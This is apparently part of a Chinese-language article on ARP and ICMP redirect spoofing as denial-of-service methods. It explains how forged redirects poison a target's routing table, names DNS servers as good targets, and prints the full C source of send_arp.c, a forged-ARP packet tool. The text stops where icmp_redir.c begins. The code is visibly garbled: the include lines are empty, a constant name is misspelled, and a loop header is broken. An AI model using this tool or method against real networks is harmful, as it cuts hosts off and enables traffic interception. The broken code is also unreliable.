ARP欺骗和ICMP欺骗催生全新DOS工具(2)
二、ICMP重定向
另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议——ICMP重定向。这种重定向通常是由你的默认路由器发来的,通告你有一个到达某一网络的更近的路由。最初,既可以通告网络重定向,也可以通告主机的重定向,但是现在,由于网络重定向被否决,仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包(必须由默认路由器发来,发向重定向机器,新的路由应该是一个网络的直接连接等等),接收者会对系统的路由表进行更新。
这是ICMP的安全问题。伪装一个路由器的IP地址是简单的,icmp_redir.c正是作的这个工作。RFC声明系统必须遵循这个重定向,除非你是路由器。实际上几乎所有的系统都支持这一点(除了vanilla Linux 2.0.30)。
ICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新,路由表不存在的过期问题。并且不需要在本地网络,你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后(包确切抵达),目标就不会再和网络上的一些机器进行通讯(是的,并不是所有的机器,但是一些与目标机器不在同一个网络上的机器)。域名服务器会是一个非常好的攻击目标。
/* send_arp.c
这个程序发送ARP包,由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下,
也可以运行在其它的有SOCK_PACKET的Unix系统上。
这个程序是对上述理论的验证,仅此而已。
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDRR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet.\n
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};
struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);
int main(int argc,char** argv){
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
if(argc != 5)die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s\n",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str){
int i;
char c,val;
for(i=0;iif( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ |= val;
if(*str == ':')str++;
}
}
/* icmp_redir.c
本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30上测试通过,并且对大多数的Unix机器有效。